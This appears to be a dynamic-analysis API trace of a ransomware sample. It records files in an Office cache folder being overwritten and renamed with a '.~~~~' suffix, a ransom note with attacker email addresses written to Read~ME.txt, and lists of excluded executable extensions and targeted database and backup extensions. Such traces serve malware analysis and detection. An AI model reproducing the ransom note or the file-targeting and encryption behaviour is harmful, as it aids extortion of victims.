	[0075.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0075.177] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19516714293) returned 1
	[0075.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x96c0ecd0, dwHighDateTime=0x1d60e1e)) 
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e340
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e340 | out: hHeap=0x300000) returned 1
	[0075.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0075.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0075.178] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0075.178] GetLastError () returned 0x0
	[0075.178] GetLastError () returned 0x0
	[0075.178] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0075.178] GetLastError () returned 0x0
	[0075.179] GetLastError () returned 0x0
	[0075.179] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x1861, lpOverlapped=0x0) returned 1
	[0075.372] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe79f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.372] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1861, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x1861, lpOverlapped=0x0) returned 1
	[0075.373] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0075.373] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.373] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.373] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.373] CloseHandle (hObject=0x120) returned 1
	[0075.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0075.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0075.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0075.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0075.764] GetLastError () returned 0x0
	[0075.764] RtlWakeConditionVariable () returned 0x365f70
	[0075.764] GetCurrentThreadId () returned 0x9f4
	[0075.765] GetCurrentThreadId () returned 0x9f4
	[0075.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0075.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0075.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa740 | out: hHeap=0x300000) returned 1
	[0075.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7990
	[0075.765] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0075.765] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0075.765] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0075.766] CloseHandle (hObject=0x120) returned 1
	[0075.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7990 | out: hHeap=0x300000) returned 1
	[0075.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0075.766] RtlWakeConditionVariable () returned 0x365f70
	[0075.766] GetCurrentThreadId () returned 0x9f4
	[0075.767] GetCurrentThreadId () returned 0x9f4
	[0075.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fae98 | out: hHeap=0x300000) returned 1
	[0075.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa778 | out: hHeap=0x300000) returned 1
	[0075.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.767] lstrlenW (lpString=".scr") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0075.767] lstrlenW (lpString=".cmd") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0075.767] lstrlenW (lpString=".dll") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0075.767] lstrlenW (lpString=".bat") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0075.767] lstrlenW (lpString=".cpl") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0075.767] lstrlenW (lpString=".sys") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0075.767] lstrlenW (lpString=".msc") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0075.767] lstrlenW (lpString=".com") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0075.767] lstrlenW (lpString=".lnk") returned 4
	[0075.767] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0075.768] lstrlenW (lpString=".msp") returned 4
	[0075.768] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0075.768] lstrlenW (lpString=".pif") returned 4
	[0075.768] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0075.768] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.768] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0075.768] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.768] RtlWakeConditionVariable () returned 0x365f70
	[0075.768] GetCurrentThreadId () returned 0x9f4
	[0075.768] GetCurrentThreadId () returned 0x9f4
	[0075.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faf30 | out: hHeap=0x300000) returned 1
	[0075.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7b0 | out: hHeap=0x300000) returned 1
	[0075.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.768] lstrlenW (lpString=".scr") returned 4
	[0075.768] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0075.768] lstrlenW (lpString=".cmd") returned 4
	[0075.768] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0075.769] lstrlenW (lpString=".dll") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0075.769] lstrlenW (lpString=".bat") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0075.769] lstrlenW (lpString=".cpl") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0075.769] lstrlenW (lpString=".sys") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0075.769] lstrlenW (lpString=".msc") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0075.769] lstrlenW (lpString=".com") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0075.769] lstrlenW (lpString=".lnk") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0075.769] lstrlenW (lpString=".msp") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0075.769] lstrlenW (lpString=".pif") returned 4
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0075.769] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.769] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0075.769] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.770] RtlWakeConditionVariable () returned 0x365f70
	[0075.770] GetCurrentThreadId () returned 0x9f4
	[0075.770] GetCurrentThreadId () returned 0x9f4
	[0075.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0075.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0075.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7e8 | out: hHeap=0x300000) returned 1
	[0075.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0075.770] lstrlenW (lpString=".scr") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".scr") returned 0x0
	[0075.770] lstrlenW (lpString=".cmd") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".cmd") returned 0x0
	[0075.770] lstrlenW (lpString=".dll") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dll") returned 0x0
	[0075.770] lstrlenW (lpString=".bat") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".bat") returned 0x0
	[0075.770] lstrlenW (lpString=".cpl") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".cpl") returned 0x0
	[0075.770] lstrlenW (lpString=".sys") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".sys") returned 0x0
	[0075.770] lstrlenW (lpString=".msc") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".msc") returned 0x0
	[0075.770] lstrlenW (lpString=".com") returned 4
	[0075.770] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".com") returned 0x0
	[0075.770] lstrlenW (lpString=".lnk") returned 4
	[0075.771] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".lnk") returned 0x0
	[0075.771] lstrlenW (lpString=".msp") returned 4
	[0075.771] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".msp") returned 0x0
	[0075.771] lstrlenW (lpString=".pif") returned 4
	[0075.771] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".pif") returned 0x0
	[0075.771] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.771] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0075.771] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.205] lstrlenW (lpString=".sqb") returned 4
	[0076.205] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".sqb") returned 0x0
	[0076.205] lstrlenW (lpString=".ost") returned 4
	[0076.205] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".ost") returned 0x0
	[0076.205] lstrlenW (lpString=".txt") returned 4
	[0076.205] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".txt") returned 0x0
	[0076.205] lstrlenW (lpString=".mdt") returned 4
	[0076.205] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".mdt") returned 0x0
	[0076.205] lstrlenW (lpString=".BDB") returned 4
	[0076.205] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".BDB") returned 0x0
	[0076.205] lstrlenW (lpString=".eql") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".eql") returned 0x0
	[0076.206] lstrlenW (lpString=".DBF") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DBF") returned 0x0
	[0076.206] lstrlenW (lpString=".EQL") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".EQL") returned 0x0
	[0076.206] lstrlenW (lpString=".FDB") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".FDB") returned 0x0
	[0076.206] lstrlenW (lpString=".EDB") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".EDB") returned 0x0
	[0076.206] lstrlenW (lpString=".DACPAC") returned 7
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0076.206] lstrlenW (lpString=".VHD") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".VHD") returned 0x0
	[0076.206] lstrlenW (lpString=".DBV") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DBV") returned 0x0
	[0076.206] lstrlenW (lpString=".dacpac") returned 7
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dacpac") returned 0x0
	[0076.206] lstrlenW (lpString=".sdf") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".sdf") returned 0x0
	[0076.206] lstrlenW (lpString=".accdb") returned 6
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".accdb") returned 0x0
	[0076.206] lstrlenW (lpString=".DBX") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DBX") returned 0x0
	[0076.206] lstrlenW (lpString=".MDT") returned 4
	[0076.206] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".MDT") returned 0x0
	[0076.206] lstrlenW (lpString=".SQB") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".SQB") returned 0x0
	[0076.207] lstrlenW (lpString=".vhd") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".vhd") returned 0x0
	[0076.207] lstrlenW (lpString=".bac") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".bac") returned 0x0
	[0076.207] lstrlenW (lpString=".mdf") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".mdf") returned 0x0
	[0076.207] lstrlenW (lpString=".BAK") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".BAK") returned 0x0
	[0076.207] lstrlenW (lpString=".BAC") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".BAC") returned 0x0
	[0076.207] lstrlenW (lpString=".dbs") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dbs") returned 0x0
	[0076.207] lstrlenW (lpString=".vhdx") returned 5
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".vhdx") returned 0x0
	[0076.207] lstrlenW (lpString=".NDF") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".NDF") returned 0x0
	[0076.207] lstrlenW (lpString=".dat") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dat") returned 0x0
	[0076.207] lstrlenW (lpString=".DBS") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DBS") returned 0x0
	[0076.207] lstrlenW (lpString=".CKP") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".CKP") returned 0x0
	[0076.207] lstrlenW (lpString=".edb") returned 4
	[0076.207] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".edb") returned 0x0
	[0076.207] lstrlenW (lpString=".PST") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".PST") returned 0x0
	[0076.208] lstrlenW (lpString=".dbf") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dbf") returned 0x0
	[0076.208] lstrlenW (lpString=".SQL") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".SQL") returned 0x0
	[0076.208] lstrlenW (lpString=".pst") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".pst") returned 0x0
	[0076.208] lstrlenW (lpString=".dbv") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dbv") returned 0x0
	[0076.208] lstrlenW (lpString=".SDF") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".SDF") returned 0x0
